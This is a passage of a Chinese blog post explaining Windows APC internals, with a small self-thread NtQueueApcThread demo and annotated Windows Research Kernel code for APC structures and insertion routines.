class="line"><span class="params"><span class="function">    _In_ ULONG ApcReserved OPTIONAL</span></span></span><br><span class="line"><span class="params"><span class="function">)</span></span>;</span><br></pre></td></tr></table></figure><p>这个函数会往对应的ThreadHandle处插入一个用户态的APC，然后当前线程进入Alertable状态时，就会执行当前的APC请求:</p><p>以下是一个进行User Mode下APC调用的例子</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">PVOID <span class="title">ApcTest</span><span class="params">()</span> </span>&#123;</span><br><span class="line">    std::cout &lt;&lt; <span class="string">&quot;ApcTest1&quot;</span> &lt;&lt; std::endl;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function">PVOID <span class="title">ApcTest2</span><span class="params">()</span> </span>&#123;</span><br><span class="line">    std::cout &lt;&lt; <span class="string">&quot;ApcTest2&quot;</span> &lt;&lt; std::endl;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">&#125;</span><br><span class="line">    HMODULE hNtdll = <span class="built_in">GetModuleHandle</span>(<span class="string">L&quot;ntdll.dll&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span> (hNtdll == <span class="literal">NULL</span>) &#123;</span><br><span class="line">        std::cout &lt;&lt; <span class="string">&quot;Could get ntdll&quot;</span> &lt;&lt; std::endl;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 注意，</span></span><br><span class="line">    NtQueueApcThread  = (<span class="built_in">NTSTATUS</span>(NTAPI *)(HANDLE, PVOID, PVOID, PVOID, ULONG)) <span class="built_in">GetProcAddress</span>(hNtdll, <span class="string">&quot;NtQueueApcThread&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span> (NtQueueApcThread == <span class="literal">NULL</span>) &#123;</span><br><span class="line">        std::cout &lt;&lt; <span class="string">&quot;Could not get NtQueueApcThread&quot;</span> &lt;&lt; std::endl;</span><br><span class="line">    &#125;</span><br><span class="line">    HANDLE hThread = <span class="built_in">GetCurrentThread</span>();</span><br><span class="line">    <span class="built_in">NtQueueApcThread</span>(hThread, &amp;ApcTest, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line">    std::cout &lt;&lt; <span class="string">&quot;Add APC1&quot;</span> &lt;&lt; std::endl;</span><br><span class="line">    <span class="built_in">NtQueueApcThread</span>(hThread, &amp;ApcTest2, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line">    std::cout &lt;&lt; <span class="string">&quot;Add APC2&quot;</span> &lt;&lt; std::endl;</span><br><span class="line">    <span class="built_in">SleepEx</span>(<span class="number">3</span>, TRUE);</span><br><span class="line">    std::cout &lt;&lt; <span class="string">&quot;Check the APC&quot;</span> &lt;&lt; std::endl;</span><br></pre></td></tr></table></figure><p>测试结果输出为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Add APC1</span><br><span class="line">Add APC2</span><br><span class="line">ApcTest1</span><br><span class="line">ApcTest2</span><br><span class="line">Check the APC</span><br></pre></td></tr></table></figure><p>当调用SleepEx时，此时线程进入alertable的状态，内核态会利用ntdll中的<code>KiUserApcDispatcher</code>调用当前我们的插入到APC队列中的函数，并且以一种类似中断的方式遍历当前队列，从而完成用户态APC调用。<br><em>PS：这个地方虽然没有体现出来，不过用户态的APC只会被调用一次。即是说，一旦发生调用，当前APC就会离开队列。</em></p><h3 id="内部同步-官方定义apc的同步时机">内部同步(官方定义APC的同步时机)</h3><p>当一个IO请求发起的时候，会分配一个叫做 I/O 请求包(I/O request packet, IRP)的结构体。通过同步IO线程可以构建IRP包，将其发送到设备栈（device stack）中，并且在内核中等待IRP完成。使用异步IO的话，则线程会构建IRP包并将其发送到设备栈。此时设备栈可能会立刻完成当前请求，也可能会发送一个等待状态来表面那个当前请求做出进展。当收到这个状态的时候，IRP仍然与线程相关联，可以通过中断线程，或者通过调用类似于<code>CancelIO</code>的API来种猪过程。同时，这个线程可以在设备栈处理当前IRP请求的时候继续完成其他的工作。</p><p>系统通过以下几种方式来通知线程IRP请求完成了</p><ul><li>用操作结果来修改IRP结构体的成员。线程就能够在操作完成的时候轮询到这个完成</li><li>往结构体中发送一个事件，以便线程能够在事件上完成同步，并且在IRP操作完成的时候被唤醒</li><li>将当前的IRP插入到线程的APC等待队列中，则线程在进入到可警告状态后执行返回到一个等待状态中表明其将会执行APC 函数的时候执行这个插入的IRP请求。</li><li>将IRP插入到I/O的完成端口，它将由等待完成端口的下一个线程执行。</li></ul><p>在I/O完成端口上等待的线程不会在可警告状态下等待。 因此，如果这些线程向线程发出设置为完成APC的IRP，那么这些IPC完成将不会及时发生; 只有当线程从I/O完成端口获取请求然后恰好进入可警告的等待时，它们才会发生。<br><em>完成端口的概念和IPC相关</em></p><h2 id="原理研究">原理研究</h2><h3 id="apc进行插入的过程">Apc进行插入的过程</h3><p>由于单纯看<code>User Mode</code>态下的APC 调用以及微软自己的文档，并不能很清晰的了解到整个APC调用过程，我们这里用<code>windows WRK</code>的相关代码对APC过程进行分析。<br>首先我们看到结构体</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// Asynchronous Procedure Call (APC) object</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// N.B. The size of this structure cannot change since it has been exported.</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> <span class="title class_">_KAPC</span> &#123;</span><br><span class="line">    UCHAR Type;</span><br><span class="line">    UCHAR SpareByte0;</span><br><span class="line">    UCHAR Size;</span><br><span class="line">    UCHAR SpareByte1;</span><br><span class="line">    ULONG SpareLong0;</span><br><span class="line">    <span class="keyword">struct</span> <span class="title class_">_KTHREAD</span> *Thread;</span><br><span class="line">    LIST_ENTRY ApcListEntry;</span><br><span class="line">    PKKERNEL_ROUTINE KernelRoutine;</span><br><span class="line">    PKRUNDOWN_ROUTINE RundownRoutine;</span><br><span class="line">    PKNORMAL_ROUTINE NormalRoutine;</span><br><span class="line">    PVOID NormalContext;</span><br><span class="line"></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// N.B. The following two members MUST be together.</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line"></span><br><span class="line">    PVOID SystemArgument1;</span><br><span class="line">    PVOID SystemArgument2;</span><br><span class="line">    CCHAR ApcStateIndex;</span><br><span class="line">    KPROCESSOR_MODE ApcMode;</span><br><span class="line">    BOOLEAN Inserted;</span><br><span class="line">&#125; KAPC, *PKAPC, *PRKAPC;</span><br></pre></td></tr></table></figure><p>这个就是wrk中给出的APC相关的结构体，这里我们关注其中几个成员变量</p><ul><li>ApcListEntry： 双向指针对象，帮助当前的APC插入到APC队列中。</li><li>KernelRoutine: 当前APC请求中内核模式下调用的函数，函数地址空间在内核里。</li><li>RundownRoutine: 当前APC在被释放内容的时候（例如线程退出的时候）调用的函数，所指函数在内核内存区域。</li><li>NormalRoutine: 当前ACP请求中，用户模式下进行的异步调用函数。这个函数的地址空间位于用户态上，但是通常只作为入口，下文会提到。</li><li>NormalCotext: 此时的APC请求的上下文，一般情况下为<strong>真正的回调函数所在的位置</strong></li><li>SystemArgument*: 这个是进行Apc调用的时候，传入的参数</li><li>ApcStateIndex: 当前APC的种类，下文会提到.</li><li>ApcMode: 当前APC的种类，分为如下几种</li></ul><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="keyword">enum</span> <span class="title class_">_MODE</span> &#123;</span><br><span class="line">    KernelMode,</span><br><span class="line">    UserMode,</span><br><span class="line">    MaximumMode</span><br><span class="line">&#125; MODE;</span><br></pre></td></tr></table></figure><p>从成员变量中，我们可以知道一个APC对象要有一下几个基本特征</p><ul><li>有内核态/用户态/退出时候的回调函数</li><li>APC会存储一个请求的上下文</li><li>ACP会记录当前的请求种类</li></ul><p>通过记录上下文和对应的调用函数，从而让APC在整个操作系统中能够记录下当前要进行异步调用的程序。有了可以调用的对象，自然要有一个记录当前调用对象状态的结构体，从而决定当前的调用是否要进行。这个结构体就是<code>KAPC_STATE</code></p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// APC state</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// N.B. The user APC pending field must be the last member of this structure.</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> <span class="title class_">_KAPC_STATE</span> &#123;</span><br><span class="line">    LIST_ENTRY ApcListHead[MaximumMode]; <span class="comment">// 这个地方是apclist的一个双向链表头</span></span><br><span class="line">    <span class="keyword">struct</span> <span class="title class_">_KPROCESS</span> *Process; <span class="comment">// 当前APC对应的进程结构体</span></span><br><span class="line">    BOOLEAN KernelApcInProgress; <span class="comment">// 内核态的APC是否在执行</span></span><br><span class="line">    BOOLEAN KernelApcPending; <span class="comment">// 当前APC是否在Kernel中挂起</span></span><br><span class="line">    BOOLEAN UserApcPending; <span class="comment">// 当前APC是否在用户态挂起</span></span><br><span class="line">&#125; KAPC_STATE, *PKAPC_STATE, *PRKAPC_STATE;</span><br></pre></td></tr></table></figure><p>这个对象的<code>ApcListHead</code>中会记录当前线程中存放的APC的状态。<br><em>为什么<code>LIST_ENTRY</code>不需要写出其对应类型？这个是一个内核用的结构体，只要使用对应的宏，就可以很方便的存储各种类型的双向指针。</em></p><p>前面提到过，一个线程在某些情况下，是可以<strong>挂靠</strong><code>Attach</code>到其他进程中的，那么当前的APC请求就会因为上下文的切换变得有所不同。这个时候，<code>KAPC</code>中自带的<code>ApcStateIndex</code>成员就会展示当前的线程上下文的状态:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="keyword">enum</span> <span class="title class_">_KAPC_ENVIRONMENT</span> &#123;</span><br><span class="line">    OriginalApcEnvironment,</span><br><span class="line">    AttachedApcEnvironment,</span><br><span class="line">    CurrentApcEnvironment,</span><br><span class="line">    InsertApcEnvironment</span><br><span class="line">&#125; KAPC_ENVIRONMENT;</span><br></pre></td></tr></table></figure><p>一般来说，一个APC请求的<code>APCStateIndex</code>就会处于前两个状态。<code>OriginalApcEnvironment</code>表示线程处在创建线程的进程中，而<code>AttachedApcEnvironment</code>表示线程处在挂靠的进程中。同时，正如前文提到的，在<code>_KThread</code>结构体中，存在如下变量</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">PKAPC_STATE ApcStatePointer[<span class="number">2</span>];</span><br></pre></td></tr></table></figure><p>这个指针其实本质上就是</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">ApcStatePointer[OriginalApcEnvironment]</span><br><span class="line">ApcStatePointer[AttachedApcEnvironment]</span><br></pre></td></tr></table></figure><p>两个指针分别存储当前进程的APC以及挂靠进程的上下文状态。线程就是用这两个指针来保存了其所在进程的基本信息。例如在获取当前进程信息的API<code>PsGetCurrentProcess</code>中，其实现如下</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> _PsGetCurrentProcess() (CONTAINING_RECORD(((KeGetCurrentThread())-&gt;ApcState.Process),EPROCESS,Pcb))</span></span><br><span class="line"><span class="function">PEPROCESS</span></span><br><span class="line"><span class="function"><span class="title">PsGetCurrentProcess</span><span class="params">(</span></span></span><br><span class="line"><span class="params"><span class="function">    VOID</span></span></span><br><span class="line"><span class="params"><span class="function">    )</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">return</span> _PsGetCurrentProcess();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里获取进程最终就是通过找到了Thread指针指向的APCState中的Process，而这个APCState在未挂靠进程的时候指向<code>ApcStatePointer[OriginalApcEnvironment]</code>，而挂靠后指向<code>ApcStatePointer[AttachedApcEnvironment]</code>。</p><p>基本的结构体大约是介绍完了，那么APC是如何发生一次插入的呢？这里我们可以从前文提到的<code>NtQueueApcThread</code>入手，学习一下如何插入一个APC:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">NTSYSAPI</span></span><br><span class="line"><span class="function">NTSTATUS</span></span><br><span class="line"><span class="function">NTAPI</span></span><br><span class="line"><span class="function"><span class="title">NtQueueApcThread</span><span class="params">(</span></span></span><br><span class="line"><span class="params"><span class="function">    __in HANDLE ThreadHandle,</span></span></span><br><span class="line"><span class="params"><span class="function">    __in PPS_APC_ROUTINE ApcRoutine,</span></span></span><br><span class="line"><span class="params"><span class="function">    __in_opt PVOID ApcArgument1,</span></span></span><br><span class="line"><span class="params"><span class="function">    __in_opt PVOID ApcArgument2,</span></span></span><br><span class="line"><span class="params"><span class="function">    __in_opt PVOID ApcArgument3</span></span></span><br><span class="line"><span class="params"><span class="function">    )</span></span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    PETHREAD Thread;</span><br><span class="line">    NTSTATUS st;</span><br><span class="line">    KPROCESSOR_MODE Mode;</span><br><span class="line">    PKAPC Apc;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">PAGED_CODE</span>();</span><br><span class="line"></span><br><span class="line">    Mode = <span class="built_in">KeGetPreviousMode</span> ();</span><br><span class="line"></span><br><span class="line">    st = <span class="built_in">ObReferenceObjectByHandle</span> (ThreadHandle,</span><br><span class="line">                                    THREAD_SET_CONTEXT,</span><br><span class="line">                                    PsThreadType,</span><br><span class="line">                                    Mode,</span><br><span class="line">                                    &amp;Thread,</span><br><span class="line">                                    <span class="literal">NULL</span>);</span><br><span class="line">    <span class="keyword">if</span> (<span class="built_in">NT_SUCCESS</span> (st)) &#123;</span><br><span class="line">        st = STATUS_SUCCESS;</span><br><span class="line">        <span class="comment">// 不允许内核线程拥有用户态的APC</span></span><br><span class="line">        <span class="keyword">if</span> (<span class="built_in">IS_SYSTEM_THREAD</span> (Thread)) &#123;</span><br><span class="line">            st = STATUS_INVALID_HANDLE;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            Apc = <span class="built_in">ExAllocatePoolWithQuotaTag</span> (NonPagedPool | POOL_QUOTA_FAIL_INSTEAD_OF_RAISE,</span><br><span class="line">                                              <span class="built_in">sizeof</span>(*Apc),</span><br><span class="line">                                              <span class="string">&#x27;pasP&#x27;</span>);</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> (Apc == <span class="literal">NULL</span>) &#123;</span><br><span class="line">                st = STATUS_NO_MEMORY;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                <span class="comment">// 初始化一个APC对象，插入到当前线程中，此时设置PspQueueSpecialApc（内核线程）以及ApcRoutine（用户态），以及ApcArgument1（真实要调用的用户态的）</span></span><br><span class="line">                <span class="built_in">KeInitializeApc</span> (Apc,</span><br><span class="line">                                 &amp;Thread-&gt;Tcb,</span><br><span class="line">                                 OriginalApcEnvironment,</span><br><span class="line">                                 PspQueueApcSpecialApc,</span><br><span class="line">                                 <span class="literal">NULL</span>,</span><br><span class="line">                                 (PKNORMAL_ROUTINE)ApcRoutine,</span><br><span class="line">                                 UserMode,</span><br><span class="line">                                 ApcArgument1);</span><br><span class="line">                <span class="comment">// 然后将当前的APC插入等待队列中</span></span><br><span class="line">                <span class="keyword">if</span> (!<span class="built_in">KeInsertQueueApc</span> (Apc, ApcArgument2, ApcArgument3, <span class="number">0</span>)) &#123;</span><br><span class="line">                    <span class="built_in">ExFreePool</span> (Apc);</span><br><span class="line">                    st = STATUS_UNSUCCESSFUL;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="built_in">ObDereferenceObject</span> (Thread);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> st;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如上可以看到插入一个APC的全流程：<br>利用<code>ObReferenceObjectByHandle</code>查看找到需要插入APC的Thread句柄-&gt;申请一块内核，用于临时存储之后设置的APC属性-&gt;设置当前APC的基本属性，包括对应的thread，运行环境，SystemRoutine，NormalRoutine等-&gt;其中NormalRoutine作为跳板执行ApcArgument1的真实APC插入函数-&gt;将当前设置完成的APC使用对饮API KeInserTQueueApc塞入对应的线程队列-&gt;解除对当前Thread的句柄引用（以防句柄对应对象不能被及时的收回）</p><p>这里注意到，<code>SystemRoutine</code>中插入的函数叫做<code>PspQueueApcSpecialAPC</code>，这个函数实际的用途就是将当前的APC对象释放:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">VOID</span></span><br><span class="line"><span class="function"><span class="title">PspQueueApcSpecialApc</span><span class="params">(</span></span></span><br><span class="line"><span class="params"><span class="function">    IN PKAPC Apc,</span></span></span><br><span class="line"><span class="params"><span class="function">    IN PKNORMAL_ROUTINE *NormalRoutine,</span></span></span><br><span class="line"><span class="params"><span class="function">    IN PVOID *NormalContext,</span></span></span><br><span class="line"><span class="params"><span class="function">    IN PVOID *SystemArgument1,</span></span></span><br><span class="line"><span class="params"><span class="function">    IN PVOID *SystemArgument2</span></span></span><br><span class="line"><span class="params"><span class="function">    )</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="built_in">PAGED_CODE</span>();</span><br><span class="line"></span><br><span class="line">    <span class="built_in">UNREFERENCED_PARAMETER</span> (NormalRoutine);</span><br><span class="line">    <span class="built_in">UNREFERENCED_PARAMETER</span> (NormalContext);</span><br><span class="line">    <span class="built_in">UNREFERENCED_PARAMETER</span> (SystemArgument1);</span><br><span class="line">    <span class="built_in">UNREFERENCED_PARAMETER</span> (SystemArgument2);</span><br><span class="line"></span><br><span class="line">    <span class="built_in">ExFreePool</span>(Apc);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>为了避免内存泄漏，SystemRoutine中都要有一个将之前申请的内存释放的过程。然后我们检查一下当前的APC被插入到哪儿去了:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">BOOLEAN</span></span><br><span class="line"><span class="function"><span class="title">KeInsertQueueApc</span> <span class="params">(</span></span></span><br><span class="line"><span class="params"><span class="function">    __inout PRKAPC Apc,</span></span></span><br><span class="line"><span class="params"><span class="function">    __in_opt PVOID SystemArgument1,</span></span></span><br><span class="line"><span class="params"><span class="function">    __in_opt PVOID SystemArgument2,</span></span></span><br><span class="line"><span class="params"><span class="function">    __in KPRIORITY Increment</span></span></span><br><span class="line"><span class="params"><span class="function">    )</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ........</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// If APC queuing is disabled or the APC is already inserted, then set</span></span><br><span class="line">    <span class="comment">// inserted to FALSE. Otherwise, set the system  parameter values in the</span></span><br><span class="line">    <span class="comment">// APC object, insert the APC in the thread APC queue, and set inserted to</span></span><br><span class="line">    <span class="comment">// true.</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// 当前线程允许插入，并且当前的APC未插入任何队列</span></span><br><span class="line">    <span class="keyword">if</span> ((Thread-&gt;ApcQueueable == FALSE) ||</span><br><span class="line">        (Apc-&gt;Inserted == TRUE)) &#123;</span><br><span class="line">        Inserted = FALSE;</span><br><span class="line"></span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        Apc-&gt;Inserted = TRUE;</span><br><span class="line">        Apc-&gt;SystemArgument1 = SystemArgument1;</span><br><span class="line">        Apc-&gt;SystemArgument2 = SystemArgument2;</span><br><span class="line">        <span class="built_in">KiInsertQueueApc</span>(Apc, Increment);</span><br><span class="line">        Inserted = TRUE;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// Unlock the thread APC queue lock, exit the scheduler, and return</span></span><br><span class="line">    <span class="comment">// whether the APC was inserted.</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">KeReleaseInStackQueuedSpinLockFromDpcLevel</span>(&amp;LockHandle);</span><br><span class="line">    <span class="built_in">KiExitDispatcher</span>(LockHandle.OldIrql);</span><br><span class="line">    <span class="keyword">return</span> Inserted;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function">VOID</span></span><br><span class="line"><span class="function">FASTCALL</span></span><br><span class="line"><span class="function"><span class="title">KiInsertQueueApc</span> <span class="params">(</span></span></span><br><span class="line"><span class="params"><span class="function">    IN PKAPC Apc,</span></span></span><br><span class="line"><span class="params"><span class="function">    IN KPRIORITY Increment</span></span></span><br><span class="line"><span class="params"><span class="function">    )</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="comment">// .....</span></span><br><span class="line">    Thread = Apc-&gt;Thread;</span><br><span class="line">    <span class="keyword">if</span> (Apc-&gt;ApcStateIndex == InsertApcEnvironment) &#123;</span><br><span class="line">        Apc-&gt;ApcStateIndex = Thread-&gt;ApcStateIndex;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 取出当前线程中查找的ApcState状态</span></span><br><span class="line">    ApcState = Thread-&gt;ApcStatePointer[Apc-&gt;ApcStateIndex];</span><br><span class="line">    <span class="keyword">if</span> (Apc-&gt;NormalRoutine != <span class="literal">NULL</span>) &#123;</span><br><span class="line">        <span class="comment">// 若 NormalRoutine 不为空，此时才可能是用户态的APC请求，此时检查当前的ApcMode</span></span><br><span class="line">        <span class="keyword">if</span> ((ApcMode != KernelMode) &amp;&amp; (Apc-&gt;KernelRoutine == PsExitSpecialApc)) &#123;</span><br><span class="line">            Thread-&gt;ApcState.UserApcPending = TRUE;</span><br><span class="line">            <span class="comment">// 用户态的APC请求，直接塞到队首</span></span><br><span class="line">            <span class="built_in">InsertHeadList</span>(&amp;ApcState-&gt;ApcListHead[ApcMode],</span><br><span class="line">                           &amp;Apc-&gt;ApcListEntry);</span><br><span class="line"></span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="comment">// 内核态的APC，塞到队尾</span></span><br><span class="line">            <span class="built_in">InsertTailList</span>(&amp;ApcState-&gt;ApcListHead[ApcMode],</span><br><span class="line">                           &amp;Apc-&gt;ApcListEntry);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        ListEntry = ApcState-&gt;ApcListHead[ApcMode].Blink;</span><br><span class="line">        <span class="keyword">while</span> (ListEntry != &amp;ApcState-&gt;ApcListHead[ApcMode]) &#123;</span><br><span class="line">            ApcEntry = <span class="built_in">CONTAINING_RECORD</span>(ListEntry, KAPC, ApcListEntry);</span><br><span class="line">            <span class="keyword">if</span> (ApcEntry-&gt;NormalRoutine == <span class="literal">NULL</span>) &#123;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            ListEntry = ListEntry-&gt;Blink;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 如果没有NormalRoutine，那么塞到所有没有NormalRoutine的内核态APC后</span></span><br><span class="line">        <span class="built_in">InsertHeadList</span>(ListEntry, &amp;Apc-&gt;ApcListEntry);</span><br><span class="line">    &#125;</span><br><span 